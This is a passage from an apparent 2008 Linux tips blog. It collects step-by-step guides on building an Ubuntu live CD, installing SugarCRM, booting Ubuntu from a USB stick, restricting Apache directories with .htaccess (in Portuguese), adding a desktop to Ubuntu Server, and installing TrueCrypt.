for i in dpkg.log lastlog mail.log syslog auth.log daemon.log faillog lpr.log mail.warn user.log boot debug mail.err messages wtmp bootstrap.log dmesg kern.log mail.info
do
touch /var/log/${i}
done



Most of these files are log files that have been cleaned in step 7. We created an empty files in their place to prevent the system from complaining at boot.


12. Exit chroot

Code:

exit



D. Prepare The CD directory tree:

1. Copy the kernel, the updated initrd and memtest prepared in the chroot:

Note: People building a live CD/DVD from scratch using debootstrap: Commands in this step are to be modified. Look in appendix.2 for details.

Code:

sudo cp -vp ${WORK}/rootfs/boot/vmlinuz-$(uname -r) ${CD}/boot/vmlinuz


Code:

sudo cp -vp ${WORK}/rootfs/boot/initrd.img-$(uname -r) ${CD}/boot/initrd.gz


Code:

sudo cp -vp ${WORK}/rootfs/boot/memtest86+.bin ${CD}/boot


2. Generate manifest:

Note: This step is only needed if you installed the Ubuntu installer ubiquity. This step generates two files (filesystem.manifest & filesystem.manifest-desktop).


Code:

sudo chroot ${WORK}/rootfs dpkg-query -W --showformat='${Package} ${Version}\n' | sudo tee ${CD}/${FS_DIR}/filesystem.manifest


Code:

sudo cp -v ${CD}/${FS_DIR}/filesystem.manifest{,-desktop}


Code:

REMOVE='ubiquity casper user-setup discover1 xresprobe os-prober libdebian-installer4'


Code;

for i in $REMOVE
do
sudo sed -i "/${i}/d" ${CD}/${FS_DIR}/filesystem.manifest-desktop
done


These two files are used by the ubiquity installer when installing to harddisk. These two files are just lists of packages. Ubiquity compares these two files and removes packages unique to filesystem.manifest. This way when installing to harddisk, packages like casper which is only useful in a live CD/DVD are removed. These packages that will be removed at install are defined in the variable $REMOVE


3. Unmount bind mounted dirs:


Code:

sudo umount ${WORK}/rootfs/proc


Code:

sudo umount ${WORK}/rootfs/sys


Code:

sudo umount ${WORK}/rootfs/dev




4. Convert the directory tree into a squashfs:

Code:

sudo mksquashfs ${WORK}/rootfs ${CD}/${FS_DIR}/filesystem.${FORMAT}


Note: Make sure the resulting file size can fit into your live media.


Note: Compression might incur a slight performace penalty. If you are using DVD and your overall system size is less than 4GB you don't have to use compression, instead you can use squashfs without compression by adding the -noI -noD -noF switches to mksquashfs.



5. Make Grub the bootloader of the CD

Copy grub file:


Code:

sudo find /boot /usr/lib/grub/ -iname 'stage2_eltorito' -exec cp -v {} ${CD}/boot/grub \;



Make the menu.lst

Code:

sudo gedit ${CD}/boot/grub/menu.lst



Copy the following text into it and save it.

Code:

# By default, boot the first entry.
default 0

# Boot automatically after 30 secs.
timeout 30

color cyan/blue white/blue


title Start Linux in Graphical Mode
kernel /boot/vmlinuz BOOT=casper boot=casper nopersistent rw quiet splash
initrd /boot/initrd.gz

title Start Linux in Safe Graphical Mode
kernel /boot/vmlinuz BOOT=casper boot=casper xforcevesa rw quiet splash
initrd /boot/initrd.gz

title Start Linux in Text Mode
kernel /boot/vmlinuz BOOT=casper boot=casper nopersistent textonly rw quiet
initrd /boot/initrd.gz

title Start Presistent Live CD
kernel /boot/vmlinuz BOOT=casper boot=casper persistent rw quiet splash
initrd /boot/initrd.gz

title Start Linux Graphical Mode from RAM
kernel /boot/vmlinuz BOOT=casper boot=casper toram nopersistent rw quiet splash
initrd /boot/initrd.gz

title Memory Test
kernel /boot/memtest86+.bin

title Boot the First Hard Disk
root (hd0)
chainloader +1



6. Calculate MD5

Code:

cd $CD && find . -type f -print0 | xargs -0 sudo md5sum | sudo tee ${CD}/md5sum.txt




E. Build the CD/DVD

1. Make the ISO file

Code:

sudo mkisofs -b boot/grub/stage2_eltorito \
-no-emul-boot -boot-load-size 4 -boot-info-table \
-V "Custom Live CD" -cache-inodes -r -J -l \
-o ~/live-cd.iso $CD



2. Test the CD

Test using qemu emulator

Code:

qemu -cdrom ~/live-cd.iso -boot d


Or use any other virtualization program you like.


Update: As noted by az in this post, while testing the iso with qemu sometimes it drops you to an initramfs shell because of a problem with qemu. This behaviour has been confirmed by other users. In this case it is advisable to retest the iso with another virtualization software like virtualbox or to burn the iso to REWRITABLE cd and test directly on your pc.


3. (Optional) Clean our workspace

Code:

[ -d "$WORK" ] && rm -r $WORK $CD




Final Notes:



  • If you are using a custom kernel make sure it has support for the following:

    1. Support of loopback device.
    2. Support for the filesystem format you are using (e.g. squashfs ).
    3. Support for unionfs.
    4. Support for initramfs.


  • There are some extra options I put in the grub menu. The ones that I have not tried are highlighted in Red below:


    1. Start linux form RAM. This option is only possible if your ram is larger than data on the live media. This option can be useful if you are building a minimal command line rescue disc as it would enhance performance to start it from RAM.

    2. Start in presistent mode. To learn about it more look here.

    3. Start Linux in Text Mode. This will not start X. The user will be autologged into a virtual terminal (the kind of terminal you get when you press Alt+Ctrl+F1). Note that this option will not work in all Ubuntu versions prior to Gutsy.




Appendix 1. Adapting this guide to Debian

This guide can be modified to apply to Debian systems as well. There are number of differeces between Ubuntu and Debian that we must take into account:

  1. As of Debian lenny, casper is deprecated and replaced with live-initramfs. live-initramfs is a fork of casper and it has the same options, with one difference in the CD directory tree sturcute. This can be solved by setting the variable FS_DIR=live instead of FS_DIR=casper.
  2. Sqaushfs modules and unionfs modules are in two separate packages.
  3. Ubiquity installer is not present in the Debain repositories. Ubiquity is only needed if you intend to install Linux from the live CD/DVD to the harddisk. I have not tried using ubiquity on Debian so I am not sure if it will work. To install it on Debian you have to add Ubuntu main repository to your sources.list.

So in light of the points mentioned above we have to make the following modifications to adapt the guide to Debian:
In step A.1 replace FS_DIR=casper with


Code:

FS_DIR=live


Replace the command in Step A.3 with:

Code:

sudo apt-get install mkisofs grub squashfs-tools squashfs-modules-$(uname -r) qemu


Replace the command in Step C.2 with:

Code:

apt-get install live-initramfs unionfs-modules-$(uname -r) discover1 xresprobe


Skip step C.3 and D.2 if you do not intend to try ubiquity on Debian.

In Step D.5 Replace every occurence of BOOT=casper and boot=casper in menu.lst with BOOT=live and boot=live respectively




Appendix 2. Building the live media form scratch using debootstrap.

Instead of using your current installation to be the basis of you live CD, you can build a custom system from scratch into any directory in your system using debootstrap, and then use that as the basis of your CD. The modifications you have to make are:

  • skip step B alltogether. Instead, do the instructions listed here to build your custom system from scratch using debootstarp
  • after finishing the instructions of the guide mentioned above, you resume the steps in this guide, going straight to step C.2 (skip step C.1).

Before step C.4 set the following variable:

Code:

export kversion=`cd /boot && ls vmlinuz-* | sed 's@vmlinuz-@@'`


Modify the two commands in step C.4 so they look lik this:

Code:

depmod -a ${kversion}


Code:

update-initramfs -u -k ${kversion}



Skip the following steps: C8, C9, C10, C11

Modify the commands in Step D.1 as follows:


Code:

find ${WORK}/rootfs/boot -iname 'vmlinuz*' -exec sudo cp -vp {} ${CD}/boot/vmlinuz \;


Code:

find ${WORK}/rootfs/boot -iname 'initrd.img*' -exec sudo cp -vp {} ${CD}/boot/initrd.gz \;


Code:

sudo cp -vp ${WORK}/rootfs/boot/memtest86+.bin ${CD}/boot


dit (1): 20/02/08
  1. Added Suggestions for packages useful in rescue CD.
  2. Modified step D.5 as per RumorsOfWar suggestion.


Update (2): 14/03/08

Fragadelic kindly posted this guide on his website. Fragadelic is the author of remastersys. Remastersys is a tool that can create a live CD/DVD in an automated manner as opposed to the step by step nature of this guide. Another advantage of remastersys is that it has a GUI for those who do not want to miss with the command line.


Edit (3): 12/04/08
Correcting a typo in step E.2 as pointed out by vbgeek


Edit (4): 21/04/08
Removed live-initramfs from the variable REMOVE (in step D.2) as pointed out by gjhicks


Edit (5): 05/05/08
Removed the appendix of how to make the cd using a unix filesystem like ext2. This is now obsolete as you can use squashfs without compression by adding the -noI -noD -noF switches to mksquashfs.

Last edited by capink; May 13th, 2008 at 07:27 AM.


Taken From: http://ubuntuforums.org/showthread.php?t=688872

SugarCRM 5.0.0f on Ubuntu 8.04 (Hardy Heron)

SugarCRM HOWTO


# Install Apache With It's Documentation #####
$ sudo apt-get install apache2 apache2-doc

# Start Apache (it should already be started) #####
$ sudo /etc/init.d/apache2 start


# Test Apache #####

Type on Mozilla Firefox: http://127.0.0.1/
It souhld read: It works!

Note: The message "It works!" can be found at the /var/www
directorie, which is apaches's root directory, wich is were
we will install SugaCRM.



# Instaling MySQL and PHP necessary Dependencies #####

$ sudo apt-get install mysql-server mysql-client
Type in mySQL's root password in the upcoming textbox.

$ sudo apt-get install libapache2-mod-php5 libapache2-mod-perl2

$ sudo apt-get install php5 php5-cli php5-common php5-curl php5-dev php5-gd php5-imap php5-ldap

$ sudo apt-get install php5-mhash php5-mysql php5-odbc curl libwww-perl imagemagick



# Creating SugarCRM MySQL Database #####

$ mysql -u root -p

mysql> create database sugarcrm;

mysql> exit



# Extract SugarCRM #####

$ cd /home/jose/Desktop/SugarCRM

$ unzip SugarCE-5.0.0f.zip



# Installing SugarCRM in Apache #####

# Copiar o SugarCRM para /var/www (apache root dir)
$ sudo cp -vr SugarCE-Full-5.0.0f /var/www



# Give Apache Ownership Over SugarCRM Files (apache-user: www-data) #####

$ sudo chown www-data -vR /var/www/SugarCE-Full-5.0.0f/*




# Write Permitions for Apache on Some of SugarCRM Files #####

$ cd /var/www/SugarCE-Full-5.0.0f

$ sudo chmod 766 config.php

$ sudo chmod 766 custom

$ sudo chmod -R 766 data

$ sudo chmod -R 766 cache

$ sudo chmod -R 766 modules



# Restart Apache #####

$ sudo /etc/init.d/apache2 restart



# Delete Apache's Test Page #####

$ sudo rm -rf /var/www/index.html



# Configuring php.ini #####

sudo gedit /etc/php5/apache2/php.ini


;memory_limit = 16M
memory_limit = 50M

;upload_max_filesize = 2M
upload_max_filesize = 10M



# Configuring SugarCRM #####

Type on Mozilla Firefox:
http://127.0.0.1/SugarCE-Full-5.0.0f/install.php
and configure SugarCRM acording to the presented instructions.

Tuesday, July 8, 2008

Installing Ubuntu Linux (and others) on a Usb PenDrive

How-to:

This tutorial will show how-to install Ubuntu on a usb stick. Even though this tutorial uses Ubuntu as its base distribution, you could Installing Ubuntu Linux on a usb pendrivevirtually use any type of Linux liveCD distribution.

Being able to run Linux out of a usb bar is a great way to enjoy the live CD experience (being able to use Linux on any computer you might get by) and the big advantage of being easier to carry around than a CD.

1. Requirements

In order to reproduce this tutorial, you will need a few items such as:

  • a ubuntu liveCD
  • a usb bar of at least 1G
  • a running Linux operating system

Now that you have all this, it is time to prepare you USB bar do host the Ubuntu liveCD files.

2. Setting up the USB disk

2.1. Finding the device

In the first place, you need to plug your usb drive and check under which device it is associated. To find out the device, run:

$ sudo fdisk -l

On my system, the device appears as being /dev/sdb, I will therefore use /dev/sdb as a reference for this tutorial, please replace it accordingly to your system (might be sda, sdc ...).
Once you found your device, you are going to create the partitions.

Using the wrong device name might destroy your system partition, please double check

2.2. Making the partitions

Make sure every of your already mounted partition are unmounted:

$sudo umount /dev/sdb1

and then launch fdisk, a tool to edit partition under linux:

sudo fdisk /dev/sdb

We are going delete all the partition and then create 2 new partition: one fat partition of 750M which will host the files from the live CD iso, and the rest on another partition.

At fdisk prompt type d x where x is the partition number (you can simply type d if you only have one partition), then:

  • n to create a new partition
  • p to make it primary
  • 1 so it is the first primary partition
  • Accept the default or type 1 to start from the first cylinder
  • +750M to make it 750 Meg big
  • a to toggle the partition active for boot
  • 1 to choose the 1 partition
  • t to change the partition type
  • 6 to set it to FAT16

Now we have out first partition set up, let's create the second one:

  • n to create yet again a new partition
  • p to make it primary
  • 2 to be the second partition
  • Accept the default by typing Enter
  • Accept the default to make your partition as big as possible
  • Finally, type w to write the change to your usb pendrive

Partitions are now created, let's format them.

2.3. Formatting the partitions

The first partition is going to be formated as a FAT filesystem of size 16 and we are going to attribute it the label "liveusb".

$ sudo mkfs.vfat -F 16 -n liveusb /dev/sdb1

The second partition is going to be of type ext2 with a blocksize of 4096 bytes and the label casper-rw. Mind that it has to be labeled as casper-rw otherwise the tutorial won't work!.

$ sudo mkfs.ext2 -b 4096 -L casper-rw /dev/sdb2

At this stage, our usb pendrive is ready to host the liveCD image. Now, let's copy the files to the usb bar.


How-to: Installing Ubuntu Linux on a usb pendrive -- page 2

3. Installing Ubuntu on the USB stick

3.1. Mounting Ubuntu liveCd image

In the first place we need to mount our ubuntu iso. Depending if you have the .iso file or the CD, there is 2 different ways of mounting it.

3.1.1. Mounting from the CD

People using Ubuntu or any other user-friendly distro, might just have to insert the cd and it will be mounted automatically. If this is not the case:

$ sudo mount /media/cdrom

should mount it.

3.1.2. Mounting from an .iso image file

We will need to create a temporary directory, let say /tmp/ubuntu-livecd and then mount our iso (I will be using a feisty fawn iso).

$ mkdir /tmp/ubuntu-livecd
$ sudo mount -o loop /path/to/feisty-desktop-i386.iso /tmp/ubuntu-livecd

Once the cd image is ready, it is time to mount the newly created usb bar partitions:

3.2. Mounting the usb bar partitions

Same here, you might be able to get both your partition by simply replugging the usb pendrive, partition might appears as: /media/liveusb and /media/casper-rw. If this is not the case, then you will need to mount them manually:

$ mkdir /tmp/liveusb
$ sudo mount /dev/sdb1 /tmp/liveusb

All the partitions we need are now mounted, let's copy the files.

3.3. Copying the files to the usb bar

Let positionned yourself on the CD image directory (in my case: /tmp/ubuntu-livecd , but it might be /media/cdrom , and copy at the root of your usb first partition:

  • the directories: 'casper', 'disctree', 'dists', 'install', 'pics', 'pool', 'preseed', '.disk'
  • The content of directory 'isolinux'
  • and files 'md5sum.txt', 'README.diskdefines', 'ubuntu.ico'
  • as well as files: 'casper/vmlinuz', 'casper/initrd.gz' and 'install/mt86plus'

$ cd /tmp/ubuntu-livecd
$ sudo cp -rf casper disctree dists install pics pool preseed .disk isolinux/* md5sum.txt README.diskdefines ubuntu.ico casper/vmlinuz casper/initrd.gz install/mt86plus /tmp/liveusb/

It might complain about symbolic links not being able to create, you can ignore this.

Now let's go to the first partition of your usb disk and rename isolinux.cfg to syslinux.cfg:

$ cd /tmp/liveusb
$ sudo mv isolinux.cfg syslinux.cfg

change /tmp/liveusb according to your settings

Edit syslinux.cfg so it looks like:

DEFAULT persistent
GFXBOOT bootlogo
GFXBOOT-BACKGROUND 0xB6875A
APPEND file=preseed/ubuntu.seed boot=casper initrd=initrd.gz ramdisk_size=1048576 root=/dev/ram rw quiet splash --
LABEL persistent
menu label ^Start Ubuntu in persistent mode
kernel vmlinuz
append file=preseed/ubuntu.seed boot=casper persistent initrd=initrd.gz ramdisk_size=1048576 root=/dev/ram rw quiet splash --
LABEL live
menu label ^Start or install Ubuntu
kernel vmlinuz
append file=preseed/ubuntu.seed boot=casper initrd=initrd.gz ramdisk_size=1048576 root=/dev/ram rw quiet splash --
LABEL xforcevesa
menu label Start Ubuntu in safe ^graphics mode
kernel vmlinuz
append file=preseed/ubuntu.seed boot=casper xforcevesa initrd=initrd.gz ramdisk_size=1048576 root=/dev/ram rw quiet splash --
LABEL check
menu label ^Check CD for defects
kernel vmlinuz
append boot=casper integrity-check initrd=initrd.gz ramdisk_size=1048576 root=/dev/ram rw quiet splash --
LABEL memtest
menu label ^Memory test
kernel mt86plus
append -
LABEL hd
menu label ^Boot from first hard disk
localboot 0x80
append -
DISPLAY isolinux.txt
TIMEOUT 300
PROMPT 1
F1 f1.txt
F2 f2.txt
F3 f3.txt
F4 f4.txt
F5 f5.txt
F6 f6.txt
F7 f7.txt
F8 f8.txt
F9 f9.txt
F0 f10.txt

Woof, finally we have our usb disk almost usuable. We have a last thing to do: make the usb bootable.

3.4. Making the usb bar bootable.

in order to make our usb disk bootable, we need to install syslinux and mtools:

$ sudo apt-get install syslinux mtools

And finally unmount /dev/sdb1 and make it bootable:

$ cd
$ sudo umount /tmp/liveusb
$ sudo syslinux -f /dev/sdb1

Here we are :D , reboot, set your BIOS to boot from the usb bar and enjoy Ubuntu linux from a pendrive

4. Troubleshooting

If you are having trouble booting on the usb bar, this might be due to your MBR being corrupted. In order to fix it up, you can use lilo (I installed lilo on my box only for thid purpose).

$ lilo -M /dev/sdb

will fix the MBR on device /dev/sdb


Taken From: http://duncanbrown.org/linux/system_administration/usb_flash_system/

Friday, July 4, 2008

Apache - Basic Authentication - htaccess

Uso e Segurança com o .htaccess no Apache

Hugo Cisneiros, hugo_arroba_devin_ponto_com_ponto_br
Última atualização em 01/08/2003

1. Introdução

Oi pessoal, neste tutorial vou tocar em alguns métodos dee segurança com os arquivos .htaccess do Apache, para proteger diretórios na Web, criar meios de login controlado, e outras utilidades deeste arquivo.

O .htaccess é um arquivo especial para o Apache. Quando um usuário está navegando por alguma página do seu servidor Apache, para todo diretório que ele tentar acessar (e se o servidor estiver configurado para isso), o Apache procura pelo tal do .htaccess e se encontrar, verifica alguma restrição ou liberação para o usuário. Com isso podemos fazer duas coisas básicas em relação à segurança: Restringir acesso aos arquivos e diretórios do servidor Web através de um usuário e senha, ou então pelo IP/Hostname de quem está acessando. Trataremos dos dois assuntos aqui neste tutorial.

2. Configurando o Apache

Antes de mais nada, você precisará se certificar que o Apache está configurado para aceitar os arquivos .htaccess como arquivos especiais. Para configurar, você precisará editar o arquivo de configuração do Apache, que é o "httpd.conf". Geralmente ele está localizado no diretório "/etc/httpd/conf". Dentro deste arquivo, você encontrará uma ou duas diretrizes mais ou menos desta forma:


Options FollowSymLinks
AllowOverride None

ou


Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all

Nesta configuração do Apache, tudo que está dentro das significa restrtições e opções especialmente configuradas para aquele diretório. No caso acima, eu estou aplicando algumas regras tanto no diretório base do servidor Web (ou seja, todo o servidor Web, independente do domínio virtual ou qualquer outra coisa), como também estou aplicando no diretório "/var/www/html", que aqui no caso é onde ficam as páginas Web. Então cabe a você decidir escolher entre as duas diretrizes (ou utilizar a configuração nova nas duas diretrizes mesmo, ou até então criar uma diretriz nova). Como eu quero ativar o .htaccess em todo o meu servidor Web, vou colocar da seguinte maneira:


Options FollowSymLinks Indexes
AllowOverride AuthConfig

O que eu fiz aqui foi adicionar a opção "Indexes" neste diretório e colocar o valor "AuthConfig" no AllowOverride. Em "Options", eu digo algumas opções extras que podem ser colocadas neste diretório. Isso não tem muito haver com este tutorial e nem é necessário, mas é sempre bom saber alguma coisa a mais se já não se sabe :)

Como a própria documentação do Apache diz, podemos usar as seguintes opções para diretórios: "None", "All", ou qualquer combinação de "Indexes", "Includes", "FollowSymLinks", "ExecCGI", or "MultiViews". A opção "Indexes" faz com que quando não tiver nenhum arquivo do tipo index.html, index.htm, ou "páginas iniciais", o Apache cria uma página com a lista dos arquivos existentes no diretório. O "Includes" permite colocar arquivos do tipo SSI (Server Side Includes), que são páginas dinâmicas antigamente usadas por muitos (Agora a moda é PHP, Python, Perl, etc). O "FollowSymLinks" faz com que o Apache aceite links simbólicos no sistema, seguindo os diretórios ou arquivos que os links apontam. O "ExecCGI" faz com que neste diretório possam ser executados arquivos CGI (Common Gateway Interface). A opção ExecCGI pode ser (e geralmente é) encontrada para o diretório "/var/www/cgi-bin", onde estão localizados os scripts CGI. Já o "multiViews" serve para por exemplo, servir páginas de acordo com a preferência de língua do usuário (index.html.pt_BR, indeex.html.en, etc).

O All significa todas as opções (menos o MultiViews) e o None significa nenhuma :)

Deixando de lado essa parte, vamos ao que realmente interessa. A opção "AllowOverride AuthConfig" é a que diz para o Apache verificar pelos arquivos .htaccess nos diretórios e aplicar as regras contidas no arquivo nos diretórios e subdiretórios de onde o arquivo esteja localizado. Colocada esta opção, é só dar um restart ou reload no servidor Web e tudo funcionará.

Para fins de entendimento, o nome "AllowOverride" já diz tudo: Ele sobrescreve as configurações padrões do servidor Apache para colocar novas configurações para aquele diretório. Estas configurações podem ser permissões dee acesso, opções (como as que mostrei acima), entre outros.

3. Utilizando o .htaccess

Agora que o servidor Apache já está configurado, teremos que criar o arquivo .htaccess com as regras. Utilize o seu editor prefeiro (no meu caso, o vim). Poderemos fazer várias coisas neste arquivo. Neste tutorial estarei usando vários arquivos .htaccess para demonstrar cada opção à cada caso, mas você pode utilizar um .htaccess no diretório principal do seu servidor, e definir as permissões e opções colocando-as dentro de tags , , etc. Tentarei dar alguns exemplos aqui.

3.1. Restringindo o acesso por IP/Hostname

As vezes precisamos restringir certos arquivos e diretórios para cecrtos IPs. Isso é válido por exemplo, quando você tem um provedor, e só se quer permitir acessar algumas páginas de administração os IPs da Intranet do provedor. Para isso pode-se aplicar estas regras no .htaccess. Veja o exemplo abaixo:

# Deixa a Intranet acessar
Order allow,deny
allow from 192.168.0.
deny from all

Esse exemplo de .htaccess fará com que o diretório, seus arquivos e seus subdiretórios só poderão ser acessados por quem estiver na faixa de IP de 192.168.0.1 até 192.168.0.254. Vamos supor agora que eu queira restringir apenas 1 IP, para não acessar um certo diretório. O .htaccess ficaria assim:

# Deixa todo mundo acessar, menos o IP 192.168.0.25
Order deny,allow
deny from 192.168.0.25
allow from all

E está feito, quando o IP 192.168.0.25 tentar acessar, não vai conseguir. Você pode substituir o IP por um hostname, contanto que a opção "HostnameLookups" no httpd.conf esteja habilitada (on).

3.2. Restringindo o acesso por usuário e senha

Agora vem uma parte muito interessante. As vezes não temos como restringir apenas por IPs, seja porque o usuário que tem que acessar possa etar em qualquer lugar, ou ter IP dinâmico, etc. Para resolver esse caso, podemos utilizar o método de usuário e senha. Antes de mais nada você terá que ter o utilitário "htpasswd", que serve para criar um arquivo de senhas criptografadas. Neste tutorial, criaremos 3 usuários exemplo:

$ mkdir /etc/httpd/auth
$ cd /etc/httpd/auth

$ htpasswd -c acesso hugo
New password:
Re-type new password:
Adding password for user hugo

$ htpasswd acesso eitch
New password:
Re-type new password:
Adding password for user eitch

$ htpasswd acesso sakura
New password:
Re-type new password:
Adding password for user sakura

O resultado que temos é o arquivo /etc/httpd/auth/acesso com o seguinte conteúdo:

hugo:zEerw0euqYD3k
eitch:85QVc5DD0rB8M
sakura:UpZuXkyuIq9hw
Observação: Caso você não tenha o utilitário htpasswd, você pode criar as senhas criptografadas com um comando do perl. Por exemplo, se eu quiser criar a senha criptografada chamada "minhasenha", farei o seguinte comando:
$ perl -e 'print crypt("minhasenha", "Lq"), "\n";'

E então é só incluir a senha no arquivo como no esquema acima.

Como pode ver, as senhas estão criptografadas. Este armazenamento de senhas é muito simples. Há outros métodos de se armazenar senhas (arquivos de banco de dados por exemplo), mas por enquanto não vou cobrir isto no tutorial porque não é tão necessário. Mas fica extremamente necessário se houver muitos e muitos usuários e senhas, pois se houver muitos, o processo de autenticação pode demorar um pouco.

Agora que o arquivo de usuários e senhas está criado, vamos criar o .htaccess que irá verificar este arquivo. Veja o exemplo do .htaccess:

AuthName "Acesso Restrito à Usuários"
AuthType Basic
AuthUserFile /etc/httpd/auth/acesso
require valid-user

Salve o arquivo e pronto, quando um usuário acessar a URL, o servidor irá verificar este arquivo .htaccess e irá perguntar pro cliente um usuário e senha. Epa, mas peraí, vamos explicar direitinho o arquivo acima!

  • AuthName: O nome que aparece como mensagem de Login. Pode usar algo como "Entre com Login e Senha", ou coisa deste tipo.
  • AuthType: Tipo de autenticação. Atualmente o Basic é o tipo mais comum. Existe também o "Digest", mas ainda não é muito utilizado e suportado pelos clientes.
  • AuthUserFile: Onde está o arquivo de usuários e senhas que agente criou.
  • require valid-user: O que o Apache precisa para validar o acesso. Neste caso a gente indicou que precisa de um usuário válido para acessar a página, ou seja, alguém que digitou um usuário e senha e bateu com o que está no arquivo de senhas. Pode-se restringir para apenas alguns usuários do arquivo de senhas. Por exemplo, se eu quisesse restringir apenas para o usuário eitch e sakura, ao invés de "require valid-user", ficaria "require user eitch sakura".

Mas se por acaso você tiver muitos usuários, e quer dividí-los em grupos, você pode muito bem fazer isso! Primeiro teremos que criar o arquivo com os grupos. Use o seu editor preferido, e vamos criar por exemplo, o arquivo "/etc/httpd/auth/grupos":

admin:hugo eitch
visitante: sakura
empresa: hugo eitch sakura

Salve o arquivo e então criamos três grupos. Para usar estes grupos, teremos que modificar o arquivo .htaccess anterior para ficar desta maneira:

AuthName "Acesso Restrito à Usuários"
AuthType Basic
AuthUserFile /etc/httpd/auth/acesso
AuthGroupFile /etc/httpd/auth/grupos
require group admin

No arquivo acima eu adicionei a linha "AuthGroupFile", que indica pro servidor onde está o arquivo dos grupos (bem parecido com o "AuthUserFile" hein?) e no "require", coloquei que requer o grupo admin. Simples de entender, não? Agora já dá pra brincar bastante restringindo usuários :)

3.3. Opções diferentes

Lembra do "Options" na diretriz no tópico 2? Pois é, você pode colocar estas opções também no .htaccess. Se por exemplo você quer que o diretório onde você colocou o .htaccess liste os arquivos caso não haja um index.html da vida, você adiciona o seguinte no .htaccess:

Options +Indexes

E para tirar essa opção:

Options -Indexes

E nisso você pode usar para qualquer uma das opções.

3.4. Mensagens de Erro personalizadas

Vamos supor que você tenha uma sub-página no seu servidor, e queira que as mensagens de erro do servidor sejam bonitinhas e no formato que você criou. Para fazer isso, você precisará apenas saber o que significa cada código de erro do servidor e apontar para a uma página com o .htaccess:

ErrorDocument 401 /erros/falhaautorizacao.html
ErrorDocument 404 /erros/naoencontrado.html
ErrorDocument 403 /erros/acessonegado.html
ErrorDocument 500 /erros/errointerno.html

Caso você não saiba os códigos de erro do Apache, a configuração do apache 2.x já tem uma boa ajuda quanto a isto, vou colocar as linhas aqui como referência (entenda se quiser e puder :P):

ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
ErrorDocument 410 /error/HTTP_GONE.html.var
ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
ErrorDocument 415 /error/HTTP_SERVICE_UNAVAILABLE.html.var
ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var

3.5. Opções para arquivos e diretórios específicos

Agora vamos supor que você queira somente fazer restrições para certos arquivos e diretórios. Para isso você poderá fazer tudo o que fazia antes, só que dentro de tags como ou . Veja o exemplo de .htaccess a seguir com comentários embutidos explicando o contexto:

# Restringe o arquivo_secreto.html somente para o IP 192.168.0.30

Order allow,Deny
Allow from 192.168.0.30
Deny from all


# Restringe o diretório admin para utilizar senhas

AuthName "Acesso Restrito à Usuários"
AuthType Basic
AuthUserFile /etc/httpd/auth/acesso
AuthGroupFile /etc/httpd/auth/grupos
require group admin


# Nega o acesso dos clientes ao .htaccess (bom colocar no httpd.conf)
# - Vem com a configuração padrão do Apache

Order allow,deny
Deny from all

Entendeu bem como funciona o esquema? Então é só brincar bastante :)

4. Conclusão

Pudemos aprender bastante como mexer com o .htaccess, mas o que vimos aqui não foi tudo não. Tem muita coisa ainda que se dá para colocar no .htaccess. Como eu disse no início dedste tutorial, o .htaccess poded comportar todo tipo de configuração de diretórios do Apache, sobrescrevendo as configurações padrões contidas no httpd.conf. Explorar as funcionalidades é uma questão de prática, então mãos a obra!

Bom proveito!

Wednesday, July 2, 2008

Graphicall Desktop for Ubuntu Server Edition

If you have installed an Ubuntu Server Edition, the first sing you notice is that you dont have X11, GDM, Gnome or KDE, only a text shell.

Here I'm going to show you howto install the Ubuntu Desktop for the Server Edition.

It's actually quite easy, just type on the bash shell:

$ sudo apt-get install ubuntu-desktop

Now sit down and wait, for apt-get to download and install about 900 packets / 472 MB.

And that it, next time you reboot you have the same Gnome Desktop that in the Ubuntu Desktop Edition.

Encripted Partitions and LiveCD - On The Fly (Linux, Mac, Windows)

Paranoid Penguin - Customizing Linux Live CDs, Part II

May 1st, 2008 by Mick Bauer

Note that Ubuntu 8.4 includes the packages easycrypt and gdecrypt, two graphical front ends for TrueCrypt, but no packages for TrueCrypt itself, on which both easycrypt and gdecrypt depend (though the latter, even without TrueCrypt, can create non-TrueCrypt-compatible encrypted volumes). So the instructions I give here on downloading and installing TrueCrypt itself still are applicable to Ubuntu 8.4.

Installing TrueCrypt

Although I just disclaimed the intention of making this a TrueCrypt primer, a little introduction is in order. TrueCrypt is a free, open-source, cross-platform volume-encryption utility. It's also highly portable. The TrueCrypt binary itself is self-contained, and any TrueCrypt volume can be mounted on any Windows or Linux system on which the TrueCrypt binary will run or compile. TrueCrypt can be run either from a command line or in the X Window System.

TrueCrypt is becoming quite popular and is held in high regard by crypto experts I know (it appears to be a sound implementation of known, good algorithms like AES and Twofish), but its license is a bit complicated. For this reason, TrueCrypt hasn't yet been adopted into Debian or Ubuntu officially, even though Ubuntu 8.10's universe packages easycrypt and gdecrypt depend on it (see the Ubuntu 7.10 vs. 8.4 sidebar).

So, to install TrueCrypt on an Ubuntu system, you need to download it directly from www.truecrypt.org/downloads.php. When I was writing this article, TrueCrypt version 5.1 was current, and the Ubuntu deb file I downloaded was called truecrypt-5.1-ubuntu-x86.tar.gz, though by the time you read this, it may be something else. Besides an Ubuntu deb package, TrueCrypt also is available as a SUSE RPM file (that also might work on other RPM-based distros) and as source code.

Now, it's time to install TrueCrypt. You're going to need to install TrueCrypt in at least two places: on the master system you're using to create your custom live CD and either on the live CD image itself or on whatever removable media (such as a USB drive) you're going to keep your encrypted volume.

First, let's install TrueCrypt on the master system. Open a command shell, unpack the TrueCrypt archive in your home directory, and change your working directory to the directory that gets unpacked:

bash-$ tar -xzvf ./truecrypt-5.1-ubuntu-x86.tar.gz

bash-$ cd truecrypt-5.1

Next, use the dpkg command to install the deb file:

